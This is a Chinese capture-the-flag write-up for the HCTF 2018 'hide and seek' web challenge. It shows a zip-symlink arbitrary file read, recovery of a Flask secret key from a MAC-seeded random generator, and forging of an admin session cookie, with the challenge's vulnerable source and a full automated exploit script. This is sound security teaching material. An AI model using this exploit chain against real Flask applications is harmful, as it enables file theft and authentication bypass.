hide and seek

经过注册登陆后发现有上传点，发现只能上传zip文件，然后发现zip中压缩的文件内容会被解压后输出在页面上，上传php马失败

尝试读取linux下的环境变量：/proc/self/environ

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=c52b2c48ec0bSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.8NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

找到 /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件

读取这个文件

得到：

1	[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

再读/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

得到

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

发现随机数种子不安全:由uuid.getnode()获得为固定mac地址

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random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

所以读取mac地址/sys/class/net/eth0/address

mac：02:42:ac:11:00:02–>2485377892354

用python3执行

1	python3 -c "import random;random.seed(2485377892354);print (str(random.random()*100))"

得到secret_key=42.42408197657815

伪造session: eyJ1c2VybmFtZSI6ImFkbWluIn0.XFk6SQ.dp9Uh_Kd6tGKQ12uY7eqoSzvrPo

得到flag：hctf{2495e2ef667b367a0738f5eae9d6afb983c2}

贴上百度找的脚本

#!/usr/bin/env python3
# coding=utf-8
import requests
import random
import re
import os
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

def read_file(file_name):
    link(file_name)
    files = {'the_file': open(file_name[-5:] + '.zip', 'rb')}
    r2 = s.post(url+'upload', files=files)
    return r2.text

def link(file_name):
    os.system('ln -s {file_name} {output}'.format(file_name = file_name, output = file_name[-5:]))
    os.system('zip -y -m {output}.zip {output}'.format(file_name = file_name, output = file_name[-5:]))


url = 'http://hideandseek.2018.hctf.io/'
with requests.Session() as s:
    user_data = {'username': '123', 'password': '123456789'}
    r = s.post(url+'login', data=user_data)
    en = read_file('/proc/self/environ')
    print(en)
    ini = re.search('UWSGI_INI=(.*?)\x00', en).group(1)
    pwd = re.search('PWD=(.*?)\x00', en).group(1)
    print(ini)
    print(pwd)
    ini = read_file(ini)
    print(ini)
    source = re.search('module = .*?\.(.*?)\n', ini).group(1)
    source = pwd+'/'+source+'.py'
    source = read_file(source)
    print(source)
    if(source.find('import') == -1):
        exit('fail')
    mac = '/sys/class/net/eth0/address'
    mac = read_file(mac)
    mac = mac[:-1]
    mac = ''.join(mac.split(':'))
    mac = int(mac, 16)
    print(mac)
    random.seed(mac)
    key = random.random()*100
    print(key)

app = Flask(__name__)
app.config['SECRET_KEY'] = str(key)
payload = {'username': 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
print(session)
cookies = {'session': session}
r = requests.get(url, cookies=cookies)
print(r.text)